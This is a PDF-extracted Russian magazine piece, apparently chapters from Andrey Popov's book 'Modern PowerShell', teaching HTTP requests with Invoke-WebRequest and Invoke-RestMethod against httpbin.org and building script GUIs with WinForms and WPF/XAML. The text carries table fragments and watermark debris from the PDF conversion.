|
|
|
|
|
|
"form": { |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
"lastName": "Popov", |
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
"name": "Andrey" |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
}, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
"headers": { |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
"Content-Length": "26", |
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
"Content-Type": "application/x-www-form.. |
|
|
||||||||||||||
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
RawContent |
|
|
|
|
|
: HTTP/1.1 200 OK |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
Connection: keep-alive |
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
Access-Control-Allow-Origin: * |
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
Access-Control-Allow-Credentials: true |
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
Content-Length: 503 |
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
Content-Type: application/json |
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
Date: Fri, 16 Jul 2021 03:03:13 GM... |
|
|
|
|||||||||||||||||
Forms |
|
|
|
|
|
|
: {} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
Headers |
|
|
|
|
|
|
: {[Connection, keep-alive], [Access-Control-Al |
|
|
||||||||||||||||||
|
|
|
|
|
|
|
low-Origin, *], [Access-Control-Allow-Credent |
|
|
||||||||||||||||||
|
|
|
|
|
|
|
ials, true], [Content-Length, 503]...} |
|
|
|
|||||||||||||||||
Images |
|
|
|
|
|
|
: {} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
InputFields |
|
|
|
: {} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
Links |
|
|
|
|
|
|
: {} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
ParsedHtml |
|
|
|
|
|
: mshtml.HTMLDocumentClass |
|
|
|
|
|
|
|
|
|||||||||||||
RawContentLength |
: 503 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Отправ ляемые на сервер параметры командлет Invoke-WebRequest авто
матичес ки приводит к формату application/x-www-form-urlencoded, который использует ся при передаче данных из веб форм. Ответ в поле Content говорит о том, что сервер принял наши параметры и определил , что они были отправлены из формы .
Иногда бывает нужно передавать на сервер данные в формате JSON, а не в application/x-www-form-urlencoded. В этом случае следует указать параметр
-ContentType со значени ем application/json. Например :
PS C:\Users\andrv> $json_params = "{ 'name':'Andrey', 'lastName':
'Popov' }"
PS C:\Users\andrv> Invoke-WebRequest -Uri http://httpbin.org/post
-ContentType "application/json" -Method POST -Body $json_params
StatusCode |
: 200 |
StatusDescription |
: OK |
Content |
: { |
"args": {},
"data": "{ 'name':'Andrey', 'lastName':'Popov
' }",
"files": {},
"form": {},
"headers": {
|
"Content-Length": "39", |
|
"Content-Type": "application/json", |
|
"Host": "... |
RawContent |
: HTTP/1.1 200 OK |
|
Connection: keep-alive |
|
Access-Control-Allow-Origin: * |
|
Access-Control-Allow-Credentials: true |
|
Content-Length: 475 |
|
Content-Type: application/json |
|
Date: Fri, 16 Jul 2021 03:43:04 GM... |
Forms |
: {} |
Headers |
: {[Connection, keep-alive], [Access-Control-Allo |
|
w-Origin, *], [Access-Control-Allow-Credentials |
|
, true], [Content-Length, 475]...} |
Images |
: {} |
InputFields |
: {} |
Links |
: {} |
ParsedHtml |
: mshtml.HTMLDocumentClass |
RawContentLength |
: 475 |
Как видим, при таком способе отправки запроса серверный скрипт, обра батывающий обращения к ресурсу http://httpbin.org/post, извлек полученные данные и при формирова нии своего JSON-ответа поместил их в поле data, а не в поле form.
КОМАНДЛЕТ INVOKE-RESTMETHOD
Если мы обращаем ся к веб сервису , поддержи вающему REST API, то ответ сервера , скорее всего , будет содержать структуриро ванные данные в фор мате JSON или XML. Так, в предыду щем примере мы с помощью командле та
Invoke-WebReques посылали POST-запрос на ресурс http://httpbin.org/ post и получали в ответ JSON-строку :
PS C:\Users\andrv> $web = Invoke-WebRequest -Uri http://httpbin.org/
post -Method POST -Body @{name='Andrey'; lastName='Popov'}
PS C:\Users\andrv> $web.Content
{
"args": {},
"data": "",
"files": {},
"form": {
"lastName": "Popov",
"name": "Andrey"
},
"headers": {
"Content-Length": "26",
"Content-Type": "application/x-www-form-urlencoded",
"Host": "httpbin.org",
"User-Agent": "Mozilla/5.0 (Windows NT; Windows NT 10.0; ru-RU)
WindowsPowerShell/5.1.19041.1023",
"X-Amzn-Trace-Id": "Root=1-60f2a42c-18f152db3b76b5d66d173e31"
},
"json": null,
"origin": "85.95.179.209",
"url": "http://httpbin.org/post"
}
Чтобы работать с полями ответа , мы должны преобра зовать JSON в объект PowerShell с помощью командле та ConvertFrom-Json:
PS C:\Users\andrv> $response = $web.Content | ConvertFrom-Json
PS C:\Users\andrv> $response
args |
: |
data |
: |
files |
: |
form |
: @{lastName=Popov; name=Andrey} |
headers : @{Content-Length=26; Content-Type=application/x-www-form-
urlencoded; Host=htt
pbin.org; User-Agent=Mozilla/5.0 (Windows NT; Windows NT 10
.0; ru-RU) Windows
|
PowerShell/5.1.19041.1023; X-Amzn-Trace-Id=Root=1-60f2a42c- |
18f152db3b76b5d66d |
|
|
173e31} |
json |
: |
origin |
: 85.95.179.209 |
url |
: http://httpbin.org/post |
PS C:\Users\andrv> $response.form.name
Andrey
В подобных случаях , когда от сервера мы получаем структуриро ван ные дан ные, удобнее пользовать ся командле том Invoke-RestMethod, который дей ствует аналогич но Invoke-WebRequest и имеет такие же параметры , но при этом автомати чес ки преобра зует ответ от сервера в объект PowerShell.
Выпол ним наш запрос с помощью Invoke-RestMethod, сохранив резуль тат в переменной $result:
PS C:\Users\andrv> $result = Invoke-RestMethod -Uri http://httpbin.
org/post -Method POST -Body @{name='Andrey'; lastName='Popov'}
Проверим тип и содержимое переменной $result:
PS C:\Users\andrv> Get-Member -InputObject $result
TypeName: System.Management.Automation.PSCustomObject
Name |
MemberType |
Definition |
---- |
---------- |
---------- |
Equals |
Method |
bool Equals(System.Object obj) |
GetHashCode Method |
int GetHashCode() |
|
GetType |
Method |
type GetType() |
ToString |
Method |
string ToString() |
args |
NoteProperty |
System.Management.Automation.PSCusto... |
data |
NoteProperty |
string data= |
files |
NoteProperty |
System.Management.Automation.PSCusto... |
form |
NoteProperty |
System.Management.Automation.PSCusto... |
headers |
NoteProperty |
System.Management.Automation.PSCusto... |
json |
NoteProperty |
object json=null |
origin |
NoteProperty |
string origin=85.95.179.209 |
url |
NoteProperty |
string url=http://httpbin.org/post |
PS C:\Users\andrv> $result |
||
|
|
|
args |
: |
|
data |
: |
|
files |
: |
|
form |
: @{lastName=Popov; name=Andrey} |
headers : @{Content-Length=26; Content-Type=application/x-www-form-
urlencoded; Host=htt
pbin.org; User-Agent=Mozilla/5.0 (Windows NT; Windows NT 10
.0; ru-RU) Windows
|
PowerShell/5.1.19041.1023; X-Amzn-Trace-Id=Root=1-60f2a897- |
|
6354ce272644b6d412 |
|
|
|
560a9b} |
|
json |
: |
|
origin |
: 85.95.179.209 |
|
url |
: http://httpbin.org/post |
|
Как видим, вместо строки в формате |
JSON мы получаем PowerShell-объект |
типа System.Management.Automation.PSCustomObject и можем сразу обращать ся к нужным свойствам :
PS C:\Users\andrv> $result.form.lastName
Popov
ИТОГИ
Итак, для обращения к веб ресурсам по протоко лу HTTP в PowerShell име ются два стандар тных командле та : Invoke-WebRequest и InvokeRestMethod. Для выполнения HTTP-запросов к веб ресурсам , возвра щающим HTML-страницы , удобнее использовать командлет InvokeWebRequest, а для работы с внешними REST API, возвра щающи ми струк турирован ные данные , лучше подойдет командлет Invoke-RestMethod.
Действу ют эти командле ты аналогич но друг другу , за исключени ем того, что Invoke-RestMethod автомати чески преобра зует ответ от сервера в объ
ект PowerShell.
|
|
|
hang |
e |
|
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|
|||
|
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
|||||||
|
to |
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
|
||
|
. |
|
|
c |
|
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|
|||
|
|
-x |
|
n |
|
|
|
|
|
|||
|
|
|
ha |
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
Андрей Попов andpop@mail.ru
СОЗДАЕМ ГРАФИЧЕСКИЙ ИНТЕРФЕЙС ДЛЯ СЦЕНАРИЕВ
Работая в терминале , мы управляем сценари ями PowerShell с помощью параметров , которые указыва ются в командной строке при их вызове. Если с нашим сценари ем будут работать обычные пользовате ли , то, добавив к нему простой графичес кий интерфейс, можно избавить их от необ ходимости вводить названия параметров . О том, как при делать GUI к сценари ям PowerShell, я сейчас расска жу .
В Windows PowerShell доступны два варианта создания GUI с помощью объ ектов .NET Framework. Классичес кие элемен ты интерфейса Windows можно добавить с помощью библиоте ки .NET Windows Forms (WinForms), которая поддержи валась в .NET c самого начала. Более современ ный вариант дизай
на реализует ся с помощью технологии Windows Presentation Foundation (WPF),
которая была добавлена позже в .NET Framework 3.0.
Современ ный PowerShell. Андрей Попов
Эта статья — глава из книги Андрея Попова «Современ ный PowerShell», вышедшей в издатель стве «БХВ» в марте этого года. В книге подробно опи
сан язык PowerShell и работа с оболоч кой Windows PowerShell в Windows Terminal, взаимо дей ствие с файловой системой , структуриро ван ными дан ными и веб ресурсами . Автор разбира ет управление процес сами , службами
и серверами автомати зации, расска зывает, как создать GUI для сценари ев Windows PowerShell, уделяет внимание кросс платформен ным возможнос тям
PowerShell в macOS и Linux.
Если ты админис трируешь рабочие станции , серверы или локальные сети под управлением Windows, книга «Современ ный PowerShell» поможет тебе освоить секреты и хитрости этой технологии и автомати зировать множес тво рутинных задач.
ПОСТРОЕНИЕ GUI С ПОМОЩЬЮ WINDOWS FORMS
Давай создадим простей шую форму с надписью и кнопкой , выполняя коман ды непосредс твен но в консоли PowerShell.
Как мы знаем , платформа .NET постро ена таким образом , что для обра щения к тем или иным объектам нужно предваритель но загрузить в операци онную память соответс твующую сборку (assembly) — динамичес кую биб лиотеку определен ного вида. Наиболее часто использующиеся сборки заг ружаются в PowerShell автомати чески. Для обращения к объектам WinForms из PowerShell нужно сначала загрузить сборку , поддержи вающую эти объ екты:
PS C:\Users\andrv> Add-Type -Assemblyname System.Windows.Forms
Графичес кий интерфейс в терминах WinForms — это набор элемен тов управления (кнопки , поля ввода , списки , флажки и т. д.), которые располага ются в контей нерах (формы , панели, вкладки ). Изменяя значения свойств объектов , соответс тву ющих элемен там управления , мы определя ем внешний вид этих элемен тов (размер , цвет фона, используемый шрифт и т. д.).
Любое графичес кое приложе ние WinForms должно иметь главную фор му — объект типа Windows.Forms.Form. Создадим нашу главную форму
и сохраним соответс твующий объект в переменной $form:
PS C:\Users\andrv> $form = New-Object System.Windows.Forms.Form
Наша форма пока находится только в оператив ной памяти, на экране мы ее не видим. Зададим заголовок формы (свойство Text объекта $form):
PS C:\Users\andrv> $form.Text = 'Первая форма'
Помес тим на форму надпись — для этого нужно создать объект типа System. Windows.Forms.Label и присвоить значение свойству Text этого объекта :
PS C:\Users\andrv> $label = New-Object System.Windows.Forms.Label
PS C:\Users\andrv> $label.Text = 'Привет!'
Кроме надписи , на форму можно помещать другие элемен ты управления , которым соответс тву ют объекты из пространс тва имен System.Windows. Forms. Некоторые из этих объектов представ лены в таблице ниже.
Об ъ- Описание ект
Butt |
Кнопка на форме . Надпись |
на кнопке задается |
свойством |
Text |
||||||||
on |
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
Che |
Флажок |
(чекбокс |
) — элемент |
управления |
для выбора одного |
|||||||
ckBo |
||||||||||||
или несколь |
ких пунктов |
из предложен |
ных вариантов |
|
||||||||
x |
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
Che
cked Состоит из списка элемен тов (ListBox), перед каждым из которых ListB помещен флажок (чекбокс ) для возможнос ти выбора
ox
Com |
Состоит |
из поля для ввода текста (TextBox) и связан ного с ним |
|||||||
boB |
|||||||||
раскры вающегося списка значений |
(ListBox) |
|
|
||||||
ox |
|
|
|||||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
Data |
Основной |
элемент |
управления для представ |
ления табличных |
дан |
||||
Grid |
|||||||||
ных (поддержи |
вает связь с базой данных ) |
|
|
||||||
View |
|
|
|||||||
|
|
|
|
|
|
|
|
Grou Исполь зуется для выделения групп элемен тов управления (чаще pBox всего радиокно пок), возле которых отобража ется рамка
Imag |
Контей нер для размещения |
коллекции |
изображений |
, исполь |
||||
зуемых другими |
элемен тами управления |
(например |
, ListView |
|||||
eList |
||||||||
и TreeView) |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
ListB Список элемен тов, которые могут быть выбраны . Может содер ox жать простой текст или объекты
Pane Видимый или невидимый контей нер для группиров ки элемен тов
lуправления
Pictu |
Исполь |
зуется для размещения |
графичес |
ких изображений |
в нес |
|||||||||
reBo |
||||||||||||||
кольких стандар тных форматах |
|
|
|
|
|
|||||||||
x |
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Prog |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ress |
Индикатор |
хода выполнения |
какого либо процес са |
|
||||||||||
Bar |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Radi |
Перек лючатель |
(радиокнопка |
) |
для выбора |
одного варианта |
|||||||||
oBut |
||||||||||||||
из списка предложен |
ных |
|
|
|
|
|
|
|||||||
ton |
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Text |
Элемент |
для ввода текста в одной или несколь |
ких строках |
|
||||||||||
Box |
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Tree |
Отображение |
данных в виде узлов дерева |
|
|
||||||||||
View |
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
Для задания размеров и расположе ния элемен тов управления используют ся объекты типа System.Drawing.Point, в которые передаются координаты : первая — по горизонтали , вторая — по вертикали (начало координат раз мещается в верхнем левом углу, ось X направле на вправо , ось Y — вниз). Нашу надпись мы сместим от верхне го левого угла на 20 пикселов вправо и 10 пикселов вниз. Объект с нужными координата ми записывает ся в свой
ство Location объекта $label:
PS C:\Users\andrv> $label.Location = New-Object System.Drawing.Point
20,10
Пока надпись представ ляет собой отдельный объект , который не связан
с основной формой . Поместим надпись на форму , добавив объект $label в коллекцию $form.Controls с помощью метода Add:
PS C:\Users\andrv> $form.Controls.Add($label)
Теперь создадим кнопку (объект типа Windows.Forms.Button) с надписью
«Нажми !»:
PS C:\Users\andrv> $button = New-Object Windows.Forms.Button
PS C:\Users\andrv> $button.Text = "Нажми!"
Зададим координаты для кнопки :
PS C:\Users\andrv> $button.Location = New-Object System.Drawing.Point
20,40
Помес тим кнопку на форму :
PS C:\Users\andrv> $form.Controls.Add($button)
Теперь добавим нашей форме функци ональ ность — по нажатию кнопки $button текст в надписи $label будет меняться на «Пока!». Для этого с помощью метода Add_Click нужно определить обработ чик события Click на кнопке . В этот метод передается блок кода, который будет выполнен при нажатии кнопки . В нашем случае достаточ но изменить значение свойства $label.Text:
PS C:\Users\andrv> $button.Add_Click({$label.Text='Пока!'})
Если бы обработ чик события был более объемный , то удобнее было бы заранее сохранить соответс твующий блок кода в переменной , которую затем передать в метод Add_Click.
Теперь с помощью метода ShowDialog можно отобразить созданную фор му с элемен тами управления на экране .
PS C:\Users\andrv> $form.ShowDialog()
Форма , созданная в PowerShell
По нажатию кнопки надпись на форме изменит ся .
Изменения в элемен те на форме
Итак, мы рассмот рели простей ший пример создания формы в PowerShell с помощью библиоте ки WinForms. Более сложные интерфейсы реализуют ся по той же схеме :
1.Загружа ем сборку System.Windows.Forms.
2.Создаем объекты , соответс твующие главной форме , контей нерам и эле ментам управления .
3.Привязы ваем элемен ты управления к нужным контей нерам и форме .
4.Задаем свойства элемен тов управления , определя ющие их внешний вид и расположе ние внутри контей неров.
5.Пишем блоки кода для обработ чиков событий и привязы ваем их к элемен там управления .
6.Показываем главную форму на экране .
Как видим, при создании графичес кого интерфейса на PowerShell с помощью WinForms значитель ная часть работы приходит ся на написание шаблонно го кода для создания элемен тов управления и задания их свойств . Конечно , намного удобнее и проще было бы строить интерфейс с помощью визуаль ного конструк тора с дальнейшей автомати ческой генерацией соответс тву ющего кода на языке PowerShell. Подобные конструк торы есть в некоторых платных профес сиональных средах разработ ки для PowerShell (например
в Sapien PowerShell Studio) или в сервисе PowerShell GUI Designer. Из бес
платных инстру ментов можно выделить утилиту PowerShell WinForms Creator, которая сама написана на PowerShell.
Таким образом , при работе с WinForms код для описания интерфейса (создание объектов для элемен тов управления ) оказыва ется тесно связан ным с кодом, определя ющим функци ональность сценария (обработ чики событий на элемен тах управления и другие функции ). Вносить изменения в такие сценарии неудобно , они быстро разраста ются и становят ся слишком объемны ми и сложными для понимания .
Более правиль ный подход , когда декларатив ное описание графичес кого интерфейса отделяет ся от остального кода, обеспечива ет технология
Windows Presentation Foundation (WPF).
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
← |
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
|
-x ha |
|
|
|
|
|
СОЗДАЕМ ГРАФИЧЕСКИЙ ИНТЕРФЕЙС ДЛЯ СЦЕНАРИЕВ
ПОСТРОЕНИЕ GUI С ПОМОЩЬЮ WINDOWS PRESENTATION FOUNDATION
При использовании WPF графичес кий интерфейс описыва ется с помощью базирующе гося на XML языка разметки XAML (Extensible Application Markup Language). Таким образом , дизайн интерфейса отделяет ся от логики сце нария, работающе го с этим интерфейсом .
Для работы с объекта ми WPF в PowerShell нужно загрузить сборку
PresentationFramework:
PS C:\Users\andrv> Add-Type -AssemblyName PresentationFramework
Создадим сначала простей шее диалоговое окно без элемен тов раз мером 300 на 200 пикселов и заголовком «Форма WPF». На первом шаге с помощью here-string создадим строку $xaml с XML-разметкой , содержащей
один тег <Window/> с атрибута ми Width, Height и Title, и преобра зуем эту строку в объект XML:
PS C:\Users\andrv> [xml]$xaml = @"
>><Window
>>xmlns="http://schemas.microsoft.com/winfx/2006/xaml/
presentation"
>>xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>>x:Name="Window" Title="Форма WPF" Height="200" Width="300"
>>/>
>>"@
Атрибут xmlns здесь определя ет пространс тво имен, содержащее имена элемен тов и атрибутов , которые можно использовать в разметке Windows Presentation Foundation. Префикс x перед атрибутом указыва ет на то, что дан ный атрибут относит ся к данному пространс тву имен.
Создадим теперь экземпляр класса XmlNodeReader, передав ему объект $xaml в качестве аргумен та . Полученный объект сохраним в переменной $reader:
PS C:\Users\andrv> $reader = (New-Object System.Xml.XmlNodeReader
$xaml)
Объект , соответс тву ющий диалогово му окну, создает ся с помощью статичес кого метода Load() класса XamlReader. В этот метод передается объект
$reader:
PS C:\Users\andrv> $window = [Windows.Markup.XamlReader]::Load(
$reader)
Теперь окно можно отобразить на экране с помощью метода ShowDialog.
PS C:\Users\andrv> $window.ShowDialog()
Пустая форма WPF
При этом работа оболоч ки PowerShell приоста новит ся , для ввода следующей команды нужно закрыть наше диалоговое окно. Добавим в нашу форму эле мент <Grid>, задающий сетку для размещения других элемен тов управления .
PS C:\Users\andrv> [xml]$xaml = @"
>><Window
>>xmlns="http://schemas.microsoft.com/winfx/2006/xaml/
presentation"
>>xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>>x:Name="Window" Title="Форма WPF" Height="200" Width="300"
>>>
>><Grid x:Name="Grid">
>> |
<Grid.RowDefinitions> |
>> |
<RowDefinition Height="Auto"/> |
>> |
<RowDefinition Height="Auto"/> |
>> |
</Grid.RowDefinitions> |
>> |
<Grid.ColumnDefinitions> |
>> |
<ColumnDefinition Width="Auto"/> |
>> |
<ColumnDefinition Width="Auto"/> |
>> |
</Grid.ColumnDefinitions> |
>></Grid>
>></Window>
>>"@
Сетка не отобража ется на экране , поэтому внешний вид главной формы (диалогово го окна) не изменит ся , форма останет ся пустой .0
Помес тим теперь на форму надпись (тег <Label> с именем Message) и кнопку (тег <Button> с именем ChangeMessage). Надписи в этих элемен тах задаются
с помощью атрибута Content, расположе ние элемен та в ячейке сетки опре деляется с помощью атрибутов Grid.Column и Grid.Row.
PS C:\Users\andrv> [xml]$xaml = @"
>><Window
>>xmlns="http://schemas.microsoft.com/winfx/2006/xaml/
presentation"
>>xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>>x:Name="Window" Title="Форма WPF" Height="200" Width="300"
>>>
>><Grid x:Name="Grid">
>> |
<Grid.RowDefinitions> |
>> |
<RowDefinition Height="Auto"/> |
>> |
<RowDefinition Height="Auto"/> |
>> |
</Grid.RowDefinitions> |
>> |
<Grid.ColumnDefinitions> |
>> |
<ColumnDefinition Width="Auto"/> |
>> |
<ColumnDefinition Width="Auto"/> |
>> |
</Grid.ColumnDefinitions> |
>> |
<Label x:Name="Message" |
>> |
Content="Привет!" |
>> |
Grid.Column="0" |
>> |
Grid.Row="0" |
>> |
/> |
>> |
<Button x:Name="ChangeMessage" |
>> |
Content="Нажми!" |
>> |
Grid.Column="1" |
>> |
Grid.Row="1" |
>> |
/> |
>></Grid>
>></Window>
>>"@
Отобразим форму на экране :
C:\Users\andrv> $reader = (New-Object System.Xml.XmlNodeReader $xaml)
PS C:\Users\andrv> $window = [Windows.Markup.XamlReader]::Load(
$reader)
PS C:\Users\andrv> $window.ShowDialog()
WPF-форма с элемен тами управления
С помощью команды Set-Content поместим XAML-разметку для нашей фор
мы в файл wpf_test.xaml:
PS C:\Users\andrv> @"
>><Window
>>xmlns="http://schemas.microsoft.com/winfx/2006/xaml/
presentation"
>>xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>>x:Name="Window" Title="Форма WPF" Height="200" Width="300"
>>>
>><Grid x:Name="Grid">
>> |
<Grid.RowDefinitions> |
>> |
<RowDefinition Height="Auto"/> |
>> |
<RowDefinition Height="Auto"/> |
>> |
</Grid.RowDefinitions> |
>> |
<Grid.ColumnDefinitions> |
>> |
<ColumnDefinition Width="Auto"/> |
>> |
<ColumnDefinition Width="Auto"/> |
>> |
</Grid.ColumnDefinitions> |
>> |
<Label x:Name="Message" |
>> |
Content="Привет!" |
>> |
Grid.Column="0" |
>> |
Grid.Row="0" |
>> |
/> |
>> |
<Button x:Name="ChangeMessage" |
>> |
Content="Нажми!" |
>> |
Grid.Column="1" |
>> |
Grid.Row="1" |
>> |
/> |
>></Grid>
>></Window>
>>"@ | Set-Content -Path ./wpf_test.xaml -Encoding UTF8
Теперь для отображения формы мы можем прочитать ее разметку из файла :
PS C:\Users\andrv> [xml]$xaml = Get-Content -Path .\wpf_test.xaml
-Encoding UTF8
PS C:\Users\andrv> $reader = (New-Object System.Xml.XmlNodeReader
$xaml)
PS C:\Users\andrv> $window = [Windows.Markup.XamlReader]::Load(
$reader)
Осталось добавить форме функци ональ ность , создав обработ чики нужных событий, возника ющих на элемен тах управления . Это делается практичес ки так же, как и при использовании WinForms, за исключени ем того, что нам нуж но предваритель но создать объекты переменные , соответс тву ющие элемен там управления загружен ной формы .
Напом ним , что для тегов элемен тов управления мы задавали атрибут Name из пространс тва имен XAML-разметки для WPF:
<Label x:Name="Message"
...
/>
<Button x:Name="ChangeMessage"
...
/>
По значению атрибута Name с помощью метода $window.FindName() получим ссылки на соответс твующие элемен ты управления :
PS C:\Users\andrv> $messageLabel = $window.FindName("Message")
PS C:\Users\andrv> $changeButton = $window.FindName("ChangeMessage")
Пусть, как и в примере с WinForms, при нажатии кнопки текст надписи в нашей форме должен изменить ся на «Пока!». Для этого зададим обработ чик события Click на кнопке с помощью метода Add_Click:
PS C:\Users\andrv> $changeButton.Add_Click({$messageLabel.Content=
'Пока!'})
Теперь форму можно отобразить на экране и проверить результат нажатия кнопки .
PS C:\Users\andrv> $window.ShowDialog()
Изменение содержимого элемен та управления на WPF-форме
Итак, при работе с графичес ким интерфейсом с помощью WPF нужно выпол нить следующие шаги:
1.Создать XAML-файл с описани ем интерфейса .
2.Подклю чить сборку PresentationFramework.
3.Создать объект , соответс твующий форме , загрузив ее описание в фор
мате XAML.
4.Определить переменные (объекты ), соответс твующие элемен там управления в форме .
5.Написать блоки кода для обработ чиков событий и привязать их к объ ектам, созданным на предыду щем шаге.
6.Отобразить главную форму на экране .
Таким образом , при работе с WPF мы можем создавать и изменять дизайн интерфейса независимо от его функци она ла . Кроме того, XAML-описание формы не зависит от специфи ки PowerShell, как это было в случае интерфей са на базе WinForms, поэтому вариантов выбора визуаль ного конструк тора для постро ения форм становит ся больше .
Кроме платных специали зиро ван ных сред разработ ки сценари ев
PowerShell (Sapien PowerShell Studio, PowerShell GUI Designer), можно вос пользовать ся бесплат ной платформой Microsoft — Visual Studio Community Edition. Скачать Visual Studio можно с сайта Microsoft. Для постро ения интерфейса формы и получения ее XAML-разметки нужно при запуске Visual Studio создать новый проект «Приложе ние WPF (.NET Framework)».
Создание WPF-приложе ния в Visual Studio
При создании такого приложе ния можно настро ить дизайн формы с помощью графичес кого конструк тора .
Конструк тор для WPF-форм в Visual Studio
В результате будет автомати чес ки сформирован XAML-файл, с которым мож но работать в PowerShell.
ИТОГИ
Добавить графичес кий интерфейс к сценари ям Windows PowerShell можно с помощью библиотек Windows Forms (WinForms) или Windows Presentation
Foundation (WPF). При использовании WinForms элемен ты интерфейса соз даются и настра ивают ся непосредс твен но в коде PowerShell. Средства для визуаль ного редактирова ния подобных форм встроены в профес сиональные среды разработ ки сценари ев PowerShell.
При работе с WPF дизайн интерфейса , описыва емый с помощью разметки в формате XAML, не связан с кодом PowerShell. Создавать и редактировать
